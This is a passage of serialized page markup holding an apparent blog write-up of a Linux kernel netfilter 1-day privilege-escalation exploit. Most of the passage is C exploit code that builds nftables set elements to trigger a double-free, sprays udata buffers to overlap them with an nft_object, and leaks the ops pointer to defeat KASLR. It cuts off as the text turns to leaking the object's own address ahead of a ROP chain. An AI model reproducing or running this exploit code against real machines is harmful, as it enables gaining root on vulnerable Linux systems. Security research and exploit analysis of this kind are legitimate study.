",{"type":23,"tag":139,"props":52444,"children":52445},{"style":982},[52446],{"type":28,"value":1067},{"type":23,"tag":139,"props":52448,"children":52449},{"style":1016},[52450],{"type":28,"value":1019},{"type":23,"tag":139,"props":52452,"children":52453},{"style":259},[52454],{"type":28,"value":49131},{"type":23,"tag":139,"props":52456,"children":52457},{"style":982},[52458],{"type":28,"value":3808},{"type":23,"tag":139,"props":52460,"children":52461},{"style":1016},[52462],{"type":28,"value":5938},{"type":23,"tag":139,"props":52464,"children":52465},{"style":259},[52466],{"type":28,"value":49162},{"type":23,"tag":139,"props":52468,"children":52469},{"style":982},[52470],{"type":28,"value":49167},{"type":23,"tag":139,"props":52472,"children":52473},{"style":259},[52474],{"type":28,"value":273},{"type":23,"tag":139,"props":52476,"children":52477},{"class":141,"line":1636},[52478],{"type":23,"tag":139,"props":52479,"children":52480},{"style":259},[52481],{"type":28,"value":27209},{"type":23,"tag":139,"props":52483,"children":52484},{"class":141,"line":1659},[52485,52490,52495,52499,52504],{"type":23,"tag":139,"props":52486,"children":52487},{"style":294},[52488],{"type":28,"value":52489},"        elem",{"type":23,"tag":139,"props":52491,"children":52492},{"style":259},[52493],{"type":28,"value":52494},"[i] ",{"type":23,"tag":139,"props":52496,"children":52497},{"style":982},[52498],{"type":28,"value":1067},{"type":23,"tag":139,"props":52500,"children":52501},{"style":245},[52502],{"type":28,"value":52503}," nftnl_set_elem_alloc",{"type":23,"tag":139,"props":52505,"children":52506},{"style":259},[52507],{"type":28,"value":1656},{"type":23,"tag":139,"props":52509,"children":52510},{"class":141,"line":1667},[52511,52516,52521,52526,52530],{"type":23,"tag":139,"props":52512,"children":52513},{"style":245},[52514],{"type":28,"value":52515},"        memset",{"type":23,"tag":139,"props":52517,"children":52518},{"style":259},[52519],{"type":28,"value":52520},"(key, ",{"type":23,"tag":139,"props":52522,"children":52523},{"style":1016},[52524],{"type":28,"value":52525},"0x41",{"type":23,"tag":139,"props":52527,"children":52528},{"style":982},[52529],{"type":28,"value":6910},{"type":23,"tag":139,"props":52531,"children":52532},{"style":259},[52533],{"type":28,"value":52534}," i, KEY_LEN);\n",{"type":23,"tag":139,"props":52536,"children":52537},{"class":141,"line":1676},[52538,52543,52547,52551,52556,52561,52565,52570],{"type":23,"tag":139,"props":52539,"children":52540},{"style":245},[52541],{"type":28,"value":52542},"        nftnl_set_elem_set",{"type":23,"tag":139,"props":52544,"children":52545},{"style":259},[52546],{"type":28,"value":262},{"type":23,"tag":139,"props":52548,"children":52549},{"style":294},[52550],{"type":28,"value":49962},{"type":23,"tag":139,"props":52552,"children":52553},{"style":259},[52554],{"type":28,"value":52555},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":139,"props":52557,"children":52558},{"style":265},[52559],{"type":28,"value":52560},"\"pwnobj\"",{"type":23,"tag":139,"props":52562,"children":52563},{"style":259},[52564],{"type":28,"value":1052},{"type":23,"tag":139,"props":52566,"children":52567},{"style":1016},[52568],{"type":28,"value":52569},"7",{"type":23,"tag":139,"props":52571,"children":52572},{"style":259},[52573],{"type":28,"value":1820},{"type":23,"tag":139,"props":52575,"children":52576},{"class":141,"line":1745},[52577,52581,52585,52589,52594,52598],{"type":23,"tag":139,"props":52578,"children":52579},{"style":245},[52580],{"type":28,"value":52542},{"type":23,"tag":139,"props":52582,"children":52583},{"style":259},[52584],{"type":28,"value":262},{"type":23,"tag":139,"props":52586,"children":52587},{"style":294},[52588],{"type":28,"value":49962},{"type":23,"tag":139,"props":52590,"children":52591},{"style":259},[52592],{"type":28,"value":52593},"[i], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":139,"props":52595,"children":52596},{"style":982},[52597],{"type":28,"value":1085},{"type":23,"tag":139,"props":52599,"children":52600},{"style":259},[52601],{"type":28,"value":52602},"key, KEY_LEN);\n",{"type":23,"tag":139,"props":52604,"children":52605},{"class":141,"line":1753},[52606,52610,52614,52618,52623,52627],{"type":23,"tag":139,"props":52607,"children":52608},{"style":245},[52609],{"type":28,"value":52542},{"type":23,"tag":139,"props":52611,"children":52612},{"style":259},[52613],{"type":28,"value":262},{"type":23,"tag":139,"props":52615,"children":52616},{"style":294},[52617],{"type":28,"value":49962},{"type":23,"tag":139,"props":52619,"children":52620},{"style":259},[52621],{"type":28,"value":52622},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":23,"tag":139,"props":52624,"children":52625},{"style":982},[52626],{"type":28,"value":1085},{"type":23,"tag":139,"props":52628,"children":52629},{"style":259},[52630],{"type":28,"value":52631},"udata_buf, size);\n",{"type":23,"tag":139,"props":52633,"children":52634},{"class":141,"line":1783},[52635,52640,52645,52649],{"type":23,"tag":139,"props":52636,"children":52637},{"style":245},[52638],{"type":28,"value":52639},"        nftnl_set_elem_add",{"type":23,"tag":139,"props":52641,"children":52642},{"style":259},[52643],{"type":28,"value":52644},"(set, ",{"type":23,"tag":139,"props":52646,"children":52647},{"style":294},[52648],{"type":28,"value":49962},{"type":23,"tag":139,"props":52650,"children":52651},{"style":259},[52652],{"type":28,"value":52653},"[i]);\n",{"type":23,"tag":139,"props":52655,"children":52656},{"class":141,"line":1791},[52657],{"type":23,"tag":139,"props":52658,"children":52659},{"style":259},[52660],{"type":28,"value":1335},{"type":23,"tag":139,"props":52662,"children":52663},{"class":141,"line":1823},[52664],{"type":23,"tag":139,"props":52665,"children":52666},{"style":259},[52667],{"type":28,"value":8327},{"type":23,"tag":139,"props":52669,"children":52670},{"class":141,"line":1831},[52671],{"type":23,"tag":139,"props":52672,"children":52673},{"emptyLinePlaceholder":15},[52674],{"type":28,"value":184},{"type":23,"tag":139,"props":52676,"children":52677},{"class":141,"line":1891},[52678],{"type":23,"tag":139,"props":52679,"children":52680},{"style":259},[52681],{"type":28,"value":52682},"    // TRANSACTION 3\n",{"type":23,"tag":139,"props":52684,"children":52685},{"class":141,"line":7053},[52686],{"type":23,"tag":139,"props":52687,"children":52688},{"style":259},[52689],{"type":28,"value":8327},{"type":23,"tag":139,"props":52691,"children":52692},{"class":141,"line":7071},[52693],{"type":23,"tag":139,"props":52694,"children":52695},{"style":259},[52696],{"type":28,"value":52697},"    set = nftnl_set_alloc();\n",{"type":23,"tag":139,"props":52699,"children":52700},{"class":141,"line":7116},[52701,52706],{"type":23,"tag":139,"props":52702,"children":52703},{"style":245},[52704],{"type":28,"value":52705},"    nftnl_set_set_u32",{"type":23,"tag":139,"props":52707,"children":52708},{"style":259},[52709],{"type":28,"value":52710},"(set, NFTNL_SET_FAMILY, family);\n",{"type":23,"tag":139,"props":52712,"children":52713},{"class":141,"line":7222},[52714,52719],{"type":23,"tag":139,"props":52715,"children":52716},{"style":245},[52717],{"type":28,"value":52718},"    nftnl_set_set_str",{"type":23,"tag":139,"props":52720,"children":52721},{"style":259},[52722],{"type":28,"value":52723},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":23,"tag":139,"props":52725,"children":52726},{"class":141,"line":21518},[52727,52731,52736,52740],{"type":23,"tag":139,"props":52728,"children":52729},{"style":245},[52730],{"type":28,"value":52718},{"type":23,"tag":139,"props":52732,"children":52733},{"style":259},[52734],{"type":28,"value":52735},"(set, NFTNL_SET_NAME, ",{"type":23,"tag":139,"props":52737,"children":52738},{"style":265},[52739],{"type":28,"value":52334},{"type":23,"tag":139,"props":52741,"children":52742},{"style":259},[52743],{"type":28,"value":1820},{"type":23,"tag":139,"props":52745,"children":52746},{"class":141,"line":21553},[52747],{"type":23,"tag":139,"props":52748,"children":52749},{"emptyLinePlaceholder":15},[52750],{"type":28,"value":184},{"type":23,"tag":139,"props":52752,"children":52753},{"class":141,"line":21561},[52754],{"type":23,"tag":139,"props":52755,"children":52756},{"style":958},[52757],{"type":28,"value":52758},"    // make priv->dirty true\n",{"type":23,"tag":139,"props":52760,"children":52761},{"class":141,"line":21569},[52762,52767,52771,52776],{"type":23,"tag":139,"props":52763,"children":52764},{"style":245},[52765],{"type":28,"value":52766},"    memset",{"type":23,"tag":139,"props":52768,"children":52769},{"style":259},[52770],{"type":28,"value":52520},{"type":23,"tag":139,"props":52772,"children":52773},{"style":1016},[52774],{"type":28,"value":52775},"0xff",{"type":23,"tag":139,"props":52777,"children":52778},{"style":259},[52779],{"type":28,"value":52780},", KEY_LEN);\n",{"type":23,"tag":139,"props":52782,"children":52783},{"class":141,"line":21578},[52784,52789,52793,52797,52801,52805,52809],{"type":23,"tag":139,"props":52785,"children":52786},{"style":294},[52787],{"type":28,"value":52788},"    elem",{"type":23,"tag":139,"props":52790,"children":52791},{"style":259},[52792],{"type":28,"value":1723},{"type":23,"tag":139,"props":52794,"children":52795},{"style":1016},[52796],{"type":28,"value":15308},{"type":23,"tag":139,"props":52798,"children":52799},{"style":259},[52800],{"type":28,"value":6666},{"type":23,"tag":139,"props":52802,"children":52803},{"style":982},[52804],{"type":28,"value":1067},{"type":23,"tag":139,"props":52806,"children":52807},{"style":245},[52808],{"type":28,"value":52503},{"type":23,"tag":139,"props":52810,"children":52811},{"style":259},[52812],{"type":28,"value":1656},{"type":23,"tag":139,"props":52814,"children":52815},{"class":141,"line":21620},[52816,52821,52825,52829,52833,52837,52842,52846,52850,52854],{"type":23,"tag":139,"props":52817,"children":52818},{"style":245},[52819],{"type":28,"value":52820},"    nftnl_set_elem_set",{"type":23,"tag":139,"props":52822,"children":52823},{"style":259},[52824],{"type":28,"value":262},{"type":23,"tag":139,"props":52826,"children":52827},{"style":294},[52828],{"type":28,"value":49962},{"type":23,"tag":139,"props":52830,"children":52831},{"style":259},[52832],{"type":28,"value":1723},{"type":23,"tag":139,"props":52834,"children":52835},{"style":1016},[52836],{"type":28,"value":15308},{"type":23,"tag":139,"props":52838,"children":52839},{"style":259},[52840],{"type":28,"value":52841},"], NFTNL_SET_ELEM_OBJREF, ",{"type":23,"tag":139,"props":52843,"children":52844},{"style":265},[52845],{"type":28,"value":52560},{"type":23,"tag":139,"props":52847,"children":52848},{"style":259},[52849],{"type":28,"value":1052},{"type":23,"tag":139,"props":52851,"children":52852},{"style":1016},[52853],{"type":28,"value":52569},{"type":23,"tag":139,"props":52855,"children":52856},{"style":259},[52857],{"type":28,"value":1820},{"type":23,"tag":139,"props":52859,"children":52860},{"class":141,"line":21653},[52861,52865,52869,52873,52877,52881,52886,52890],{"type":23,"tag":139,"props":52862,"children":52863},{"style":245},[52864],{"type":28,"value":52820},{"type":23,"tag":139,"props":52866,"children":52867},{"style":259},[52868],{"type":28,"value":262},{"type":23,"tag":139,"props":52870,"children":52871},{"style":294},[52872],{"type":28,"value":49962},{"type":23,"tag":139,"props":52874,"children":52875},{"style":259},[52876],{"type":28,"value":1723},{"type":23,"tag":139,"props":52878,"children":52879},{"style":1016},[52880],{"type":28,"value":15308},{"type":23,"tag":139,"props":52882,"children":52883},{"style":259},[52884],{"type":28,"value":52885},"], NFTNL_SET_ELEM_KEY, ",{"type":23,"tag":139,"props":52887,"children":52888},{"style":982},[52889],{"type":28,"value":1085},{"type":23,"tag":139,"props":52891,"children":52892},{"style":259},[52893],{"type":28,"value":52602},{"type":23,"tag":139,"props":52895,"children":52896},{"class":141,"line":21661},[52897,52902,52906,52910,52914,52918],{"type":23,"tag":139,"props":52898,"children":52899},{"style":245},[52900],{"type":28,"value":52901},"    nftnl_set_elem_add",{"type":23,"tag":139,"props":52903,"children":52904},{"style":259},[52905],{"type":28,"value":52644},{"type":23,"tag":139,"props":52907,"children":52908},{"style":294},[52909],{"type":28,"value":49962},{"type":23,"tag":139,"props":52911,"children":52912},{"style":259},[52913],{"type":28,"value":1723},{"type":23,"tag":139,"props":52915,"children":52916},{"style":1016},[52917],{"type":28,"value":15308},{"type":23,"tag":139,"props":52919,"children":52920},{"style":259},[52921],{"type":28,"value":1742},{"type":23,"tag":139,"props":52923,"children":52924},{"class":141,"line":21669},[52925],{"type":23,"tag":139,"props":52926,"children":52927},{"style":259},[52928],{"type":28,"value":8327},{"type":23,"tag":139,"props":52930,"children":52931},{"class":141,"line":21678},[52932],{"type":23,"tag":139,"props":52933,"children":52934},{"emptyLinePlaceholder":15},[52935],{"type":28,"value":184},{"type":23,"tag":139,"props":52937,"children":52938},{"class":141,"line":21754},[52939],{"type":23,"tag":139,"props":52940,"children":52941},{"style":259},[52942],{"type":28,"value":52943},"    // double-free commited elems\n",{"type":23,"tag":139,"props":52945,"children":52946},{"class":141,"line":21787},[52947],{"type":23,"tag":139,"props":52948,"children":52949},{"style":259},[52950],{"type":28,"value":8327},{"type":23,"tag":139,"props":52952,"children":52953},{"class":141,"line":21795},[52954,52959,52963],{"type":23,"tag":139,"props":52955,"children":52956},{"style":259},[52957],{"type":28,"value":52958},"    nftnl_set_free(",{"type":23,"tag":139,"props":52960,"children":52961},{"style":305},[52962],{"type":28,"value":48917},{"type":23,"tag":139,"props":52964,"children":52965},{"style":259},[52966],{"type":28,"value":1820},{"type":23,"tag":139,"props":52968,"children":52969},{"class":141,"line":21803},[52970],{"type":23,"tag":139,"props":52971,"children":52972},{"style":259},[52973],{"type":28,"value":1897},{"type":23,"tag":139,"props":52975,"children":52976},{"class":141,"line":21840},[52977],{"type":23,"tag":139,"props":52978,"children":52979},{"style":259},[52980],{"type":28,"value":8327},{"type":23,"tag":666,"props":52982,"children":52984},{"id":52983},"leaking-kaslr",[52985],{"type":28,"value":52986},"Leaking KASLR",{"type":23,"tag":24,"props":52988,"children":52989},{},[52990,52992,52998,53000,53005,53007,53013,53015,53021,53023],{"type":28,"value":52991},"Tables contain an outline user data buffer ",{"type":23,"tag":135,"props":52993,"children":52995},{"className":52994},[],[52996],{"type":28,"value":52997},"udata",{"type":28,"value":52999}," that we can both read and write. By allocating a ",{"type":23,"tag":135,"props":53001,"children":53003},{"className":53002},[],[53004],{"type":28,"value":52997},{"type":28,"value":53006}," buffer on the double-free slot and then overlapping it with an ",{"type":23,"tag":135,"props":53008,"children":53010},{"className":53009},[],[53011],{"type":28,"value":53012},"nft_object",{"type":28,"value":53014}," we can leak the ",{"type":23,"tag":135,"props":53016,"children":53018},{"className":53017},[],[53019],{"type":28,"value":53020},"->ops",{"type":28,"value":53022}," pointer, and use it to calculate the KASLR slide.\n",{"type":23,"tag":429,"props":53024,"children":53026},{"alt":48476,"src":53025},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":23,"tag":128,"props":53028,"children":53030},{"className":27132,"code":53029,"language":27134,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[53031],{"type":23,"tag":135,"props":53032,"children":53033},{"__ignoreMap":7},[53034,53041,53049,53084,53091,53099,53124,53151,53202,53209,53242,53268,53275,53340,53347,53368,53375,53382,53390,53398,53419,53448,53460,53504,53560],{"type":23,"tag":139,"props":53035,"children":53036},{"class":141,"line":142},[53037],{"type":23,"tag":139,"props":53038,"children":53039},{"style":259},[53040],{"type":28,"value":8327},{"type":23,"tag":139,"props":53042,"children":53043},{"class":141,"line":151},[53044],{"type":23,"tag":139,"props":53045,"children":53046},{"style":259},[53047],{"type":28,"value":53048},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":23,"tag":139,"props":53050,"children":53051},{"class":141,"line":160},[53052,53057,53061,53066,53071,53076,53080],{"type":23,"tag":139,"props":53053,"children":53054},{"style":259},[53055],{"type":28,"value":53056},"    udata_spray(",{"type":23,"tag":139,"props":53058,"children":53059},{"style":305},[53060],{"type":28,"value":52188},{"type":23,"tag":139,"props":53062,"children":53063},{"style":259},[53064],{"type":28,"value":53065},", 0",{"type":23,"tag":139,"props":53067,"children":53068},{"style":305},[53069],{"type":28,"value":53070},"xe8",{"type":23,"tag":139,"props":53072,"children":53073},{"style":259},[53074],{"type":28,"value":53075},", 0, 3, ",{"type":23,"tag":139,"props":53077,"children":53078},{"style":305},[53079],{"type":28,"value":52394},{"type":23,"tag":139,"props":53081,"children":53082},{"style":259},[53083],{"type":28,"value":1820},{"type":23,"tag":139,"props":53085,"children":53086},{"class":141,"line":169},[53087],{"type":23,"tag":139,"props":53088,"children":53089},{"emptyLinePlaceholder":15},[53090],{"type":28,"value":184},{"type":23,"tag":139,"props":53092,"children":53093},{"class":141,"line":178},[53094],{"type":23,"tag":139,"props":53095,"children":53096},{"style":958},[53097],{"type":28,"value":53098},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":23,"tag":139,"props":53100,"children":53101},{"class":141,"line":187},[53102,53107,53112,53116,53120],{"type":23,"tag":139,"props":53103,"children":53104},{"style":279},[53105],{"type":28,"value":53106},"    char",{"type":23,"tag":139,"props":53108,"children":53109},{"style":294},[53110],{"type":28,"value":53111}," spray_name",{"type":23,"tag":139,"props":53113,"children":53114},{"style":259},[53115],{"type":28,"value":1723},{"type":23,"tag":139,"props":53117,"children":53118},{"style":1016},[53119],{"type":28,"value":38738},{"type":23,"tag":139,"props":53121,"children":53122},{"style":259},[53123],{"type":28,"value":29461},{"type":23,"tag":139,"props":53125,"children":53126},{"class":141,"line":196},[53127,53131,53135,53139,53143,53147],{"type":23,"tag":139,"props":53128,"children":53129},{"style":279},[53130],{"type":28,"value":53106},{"type":23,"tag":139,"props":53132,"children":53133},{"style":982},[53134],{"type":28,"value":7825},{"type":23,"tag":139,"props":53136,"children":53137},{"style":294},[53138],{"type":28,"value":52997},{"type":23,"tag":139,"props":53140,"children":53141},{"style":259},[53142],{"type":28,"value":1723},{"type":23,"tag":139,"props":53144,"children":53145},{"style":1016},[53146],{"type":28,"value":15308},{"type":23,"tag":139,"props":53148,"children":53149},{"style":259},[53150],{"type":28,"value":29461},{"type":23,"tag":139,"props":53152,"children":53153},{"class":141,"line":205},[53154,53158,53162,53166,53170,53174,53178,53182,53186,53190,53194,53198],{"type":23,"tag":139,"props":53155,"children":53156},{"style":319},[53157],{"type":28,"value":1003},{"type":23,"tag":139,"props":53159,"children":53160},{"style":259},[53161],{"type":28,"value":1042},{"type":23,"tag":139,"props":53163,"children":53164},{"style":279},[53165],{"type":28,"value":17055},{"type":23,"tag":139,"props":53167,"children":53168},{"style":259},[53169],{"type":28,"value":52442},{"type":23,"tag":139,"props":53171,"children":53172},{"style":982},[53173],{"type":28,"value":1067},{"type":23,"tag":139,"props":53175,"children":53176},{"style":1016},[53177],{"type":28,"value":1019},{"type":23,"tag":139,"props":53179,"children":53180},{"style":259},[53181],{"type":28,"value":49131},{"type":23,"tag":139,"props":53183,"children":53184},{"style":982},[53185],{"type":28,"value":3808},{"type":23,"tag":139,"props":53187,"children":53188},{"style":1016},[53189],{"type":28,"value":17107},{"type":23,"tag":139,"props":53191,"children":53192},{"style":259},[53193],{"type":28,"value":49162},{"type":23,"tag":139,"props":53195,"children":53196},{"style":982},[53197],{"type":28,"value":49167},{"type":23,"tag":139,"props":53199,"children":53200},{"style":259},[53201],{"type":28,"value":273},{"type":23,"tag":139,"props":53203,"children":53204},{"class":141,"line":214},[53205],{"type":23,"tag":139,"props":53206,"children":53207},{"style":259},[53208],{"type":28,"value":27209},{"type":23,"tag":139,"props":53210,"children":53211},{"class":141,"line":1320},[53212,53217,53222,53227,53232,53237],{"type":23,"tag":139,"props":53213,"children":53214},{"style":245},[53215],{"type":28,"value":53216},"        snprintf",{"type":23,"tag":139,"props":53218,"children":53219},{"style":259},[53220],{"type":28,"value":53221},"(spray_name, ",{"type":23,"tag":139,"props":53223,"children":53224},{"style":279},[53225],{"type":28,"value":53226},"sizeof",{"type":23,"tag":139,"props":53228,"children":53229},{"style":259},[53230],{"type":28,"value":53231},"(spray_name), ",{"type":23,"tag":139,"props":53233,"children":53234},{"style":265},[53235],{"type":28,"value":53236},"\"spray-%i\"",{"type":23,"tag":139,"props":53238,"children":53239},{"style":259},[53240],{"type":28,"value":53241},", i);\n",{"type":23,"tag":139,"props":53243,"children":53244},{"class":141,"line":1329},[53245,53250,53254,53258,53263],{"type":23,"tag":139,"props":53246,"children":53247},{"style":294},[53248],{"type":28,"value":53249},"        udata",{"type":23,"tag":139,"props":53251,"children":53252},{"style":259},[53253],{"type":28,"value":52494},{"type":23,"tag":139,"props":53255,"children":53256},{"style":982},[53257],{"type":28,"value":1067},{"type":23,"tag":139,"props":53259,"children":53260},{"style":245},[53261],{"type":28,"value":53262}," getudata",{"type":23,"tag":139,"props":53264,"children":53265},{"style":259},[53266],{"type":28,"value":53267},"(nl, spray_name);\n",{"type":23,"tag":139,"props":53269,"children":53270},{"class":141,"line":1580},[53271],{"type":23,"tag":139,"props":53272,"children":53273},{"style":259},[53274],{"type":28,"value":1335},{"type":23,"tag":139,"props":53276,"children":53277},{"class":141,"line":1597},[53278,53282,53286,53290,53294,53298,53302,53306,53310,53314,53319,53323,53327,53331,53335],{"type":23,"tag":139,"props":53279,"children":53280},{"style":319},[53281],{"type":28,"value":10290},{"type":23,"tag":139,"props":53283,"children":53284},{"style":259},[53285],{"type":28,"value":1042},{"type":23,"tag":139,"props":53287,"children":53288},{"style":294},[53289],{"type":28,"value":52997},{"type":23,"tag":139,"props":53291,"children":53292},{"style":259},[53293],{"type":28,"value":1723},{"type":23,"tag":139,"props":53295,"children":53296},{"style":1016},[53297],{"type":28,"value":2021},{"type":23,"tag":139,"props":53299,"children":53300},{"style":259},[53301],{"type":28,"value":46855},{"type":23,"tag":139,"props":53303,"children":53304},{"style":1016},[53305],{"type":28,"value":2021},{"type":23,"tag":139,"props":53307,"children":53308},{"style":259},[53309],{"type":28,"value":6666},{"type":23,"tag":139,"props":53311,"children":53312},{"style":982},[53313],{"type":28,"value":6580},{"type":23,"tag":139,"props":53315,"children":53316},{"style":294},[53317],{"type":28,"value":53318}," udata",{"type":23,"tag":139,"props":53320,"children":53321},{"style":259},[53322],{"type":28,"value":1723},{"type":23,"tag":139,"props":53324,"children":53325},{"style":1016},[53326],{"type":28,"value":1099},{"type":23,"tag":139,"props":53328,"children":53329},{"style":259},[53330],{"type":28,"value":46855},{"type":23,"tag":139,"props":53332,"children":53333},{"style":1016},[53334],{"type":28,"value":2021},{"type":23,"tag":139,"props":53336,"children":53337},{"style":259},[53338],{"type":28,"value":53339},"])\n",{"type":23,"tag":139,"props":53341,"children":53342},{"class":141,"line":1614},[53343],{"type":23,"tag":139,"props":53344,"children":53345},{"style":259},[53346],{"type":28,"value":27209},{"type":23,"tag":139,"props":53348,"children":53349},{"class":141,"line":1627},[53350,53355,53359,53364],{"type":23,"tag":139,"props":53351,"children":53352},{"style":245},[53353],{"type":28,"value":53354},"        puts",{"type":23,"tag":139,"props":53356,"children":53357},{"style":259},[53358],{"type":28,"value":262},{"type":23,"tag":139,"props":53360,"children":53361},{"style":265},[53362],{"type":28,"value":53363},"\"[+] got duplicated table\"",{"type":23,"tag":139,"props":53365,"children":53366},{"style":259},[53367],{"type":28,"value":1820},{"type":23,"tag":139,"props":53369,"children":53370},{"class":141,"line":1636},[53371],{"type":23,"tag":139,"props":53372,"children":53373},{"style":259},[53374],{"type":28,"value":1335},{"type":23,"tag":139,"props":53376,"children":53377},{"class":141,"line":1659},[53378],{"type":23,"tag":139,"props":53379,"children":53380},{"emptyLinePlaceholder":15},[53381],{"type":28,"value":184},{"type":23,"tag":139,"props":53383,"children":53384},{"class":141,"line":1667},[53385],{"type":23,"tag":139,"props":53386,"children":53387},{"style":958},[53388],{"type":28,"value":53389},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":139,"props":53391,"children":53392},{"class":141,"line":1676},[53393],{"type":23,"tag":139,"props":53394,"children":53395},{"style":958},[53396],{"type":28,"value":53397},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":139,"props":53399,"children":53400},{"class":141,"line":1745},[53401,53406,53410,53415],{"type":23,"tag":139,"props":53402,"children":53403},{"style":245},[53404],{"type":28,"value":53405},"    puts",{"type":23,"tag":139,"props":53407,"children":53408},{"style":259},[53409],{"type":28,"value":262},{"type":23,"tag":139,"props":53411,"children":53412},{"style":265},[53413],{"type":28,"value":53414},"\"[*] Info leak\"",{"type":23,"tag":139,"props":53416,"children":53417},{"style":259},[53418],{"type":28,"value":1820},{"type":23,"tag":139,"props":53420,"children":53421},{"class":141,"line":1753},[53422,53427,53432,53436,53440,53444],{"type":23,"tag":139,"props":53423,"children":53424},{"style":245},[53425],{"type":28,"value":53426},"    deludata_spray",{"type":23,"tag":139,"props":53428,"children":53429},{"style":259},[53430],{"type":28,"value":53431},"(nl, ",{"type":23,"tag":139,"props":53433,"children":53434},{"style":1016},[53435],{"type":28,"value":2021},{"type":23,"tag":139,"props":53437,"children":53438},{"style":259},[53439],{"type":28,"value":1052},{"type":23,"tag":139,"props":53441,"children":53442},{"style":1016},[53443],{"type":28,"value":647},{"type":23,"tag":139,"props":53445,"children":53446},{"style":259},[53447],{"type":28,"value":1820},{"type":23,"tag":139,"props":53449,"children":53450},{"class":141,"line":1783},[53451,53456],{"type":23,"tag":139,"props":53452,"children":53453},{"style":245},[53454],{"type":28,"value":53455},"    wait_destroyer",{"type":23,"tag":139,"props":53457,"children":53458},{"style":259},[53459],{"type":28,"value":1656},{"type":23,"tag":139,"props":53461,"children":53462},{"class":141,"line":1791},[53463,53468,53472,53476,53480,53484,53488,53492,53496,53500],{"type":23,"tag":139,"props":53464,"children":53465},{"style":245},[53466],{"type":28,"value":53467},"    obj_spray",{"type":23,"tag":139,"props":53469,"children":53470},{"style":259},[53471],{"type":28,"value":53431},{"type":23,"tag":139,"props":53473,"children":53474},{"style":1016},[53475],{"type":28,"value":2021},{"type":23,"tag":139,"props":53477,"children":53478},{"style":259},[53479],{"type":28,"value":1052},{"type":23,"tag":139,"props":53481,"children":53482},{"style":1016},[53483],{"type":28,"value":647},{"type":23,"tag":139,"props":53485,"children":53486},{"style":259},[53487],{"type":28,"value":1052},{"type":23,"tag":139,"props":53489,"children":53490},{"style":279},[53491],{"type":28,"value":52394},{"type":23,"tag":139,"props":53493,"children":53494},{"style":259},[53495],{"type":28,"value":1052},{"type":23,"tag":139,"props":53497,"children":53498},{"style":1016},[53499],{"type":28,"value":2021},{"type":23,"tag":139,"props":53501,"children":53502},{"style":259},[53503],{"type":28,"value":1820},{"type":23,"tag":139,"props":53505,"children":53506},{"class":141,"line":1823},[53507,53512,53516,53521,53525,53529,53534,53538,53542,53547,53551,53556],{"type":23,"tag":139,"props":53508,"children":53509},{"style":279},[53510],{"type":28,"value":53511},"    uint64_t",{"type":23,"tag":139,"props":53513,"children":53514},{"style":982},[53515],{"type":28,"value":7825},{"type":23,"tag":139,"props":53517,"children":53518},{"style":259},[53519],{"type":28,"value":53520},"fake_obj ",{"type":23,"tag":139,"props":53522,"children":53523},{"style":982},[53524],{"type":28,"value":1067},{"type":23,"tag":139,"props":53526,"children":53527},{"style":259},[53528],{"type":28,"value":1042},{"type":23,"tag":139,"props":53530,"children":53531},{"style":279},[53532],{"type":28,"value":53533},"uint64_t",{"type":23,"tag":139,"props":53535,"children":53536},{"style":982},[53537],{"type":28,"value":7825},{"type":23,"tag":139,"props":53539,"children":53540},{"style":259},[53541],{"type":28,"value":1104},{"type":23,"tag":139,"props":53543,"children":53544},{"style":245},[53545],{"type":28,"value":53546},"getudata",{"type":23,"tag":139,"props":53548,"children":53549},{"style":259},[53550],{"type":28,"value":53431},{"type":23,"tag":139,"props":53552,"children":53553},{"style":265},[53554],{"type":28,"value":53555},"\"spray-2\"",{"type":23,"tag":139,"props":53557,"children":53558},{"style":259},[53559],{"type":28,"value":1820},{"type":23,"tag":139,"props":53561,"children":53562},{"class":141,"line":1831},[53563],{"type":23,"tag":139,"props":53564,"children":53565},{"style":259},[53566],{"type":28,"value":8327},{"type":23,"tag":666,"props":53568,"children":53570},{"id":53569},"leaking-self-pointer-of-nft_object",[53571,53573],{"type":28,"value":53572},"Leaking self pointer of ",{"type":23,"tag":135,"props":53574,"children":53576},{"className":53575},[],[53577],{"type":28,"value":53012},{"type":23,"tag":24,"props":53579,"children":53580},{},[53581,53583,53588,53590,53595,53597,53602,53604,53610],{"type":28,"value":53582},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":135,"props":53584,"children":53586},{"className":53585},[],[53587],{"type":28,"value":53012},{"type":28,"value":53589}," to get its own address. This is possible because the ",{"type":23,"tag":135,"props":53591,"children":53593},{"className":53592},[],[53594],{"type":28,"value":53012},{"type":28,"value":53596}," has a ",{"type":23,"tag":135,"props":53598,"children":53600},{"className":53599},[],[53601],{"type":28,"value":52997},{"type":28,"value":53603}," pointer (similar to ",{"type":23,"tag":135,"props":53605,"children":53607},{"className":53606},[],[53608],{"type":28,"value":53609},"table->udata",{"type":28,"value":53611}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":24,"props":53613,"children":53614},{},[53615,53616,53621,53623,53629,53631,53636,53638,53644,53646,53652,53654,53659,53661,53666,53668,53673,53675],{"type":28,"value":14625},{"type":23,"tag":135,"props":53617,"children":53619},{"className":53618},[],[53620],{"type":28,"value":53012},{"type":28,"value":53622}," struct also contains a 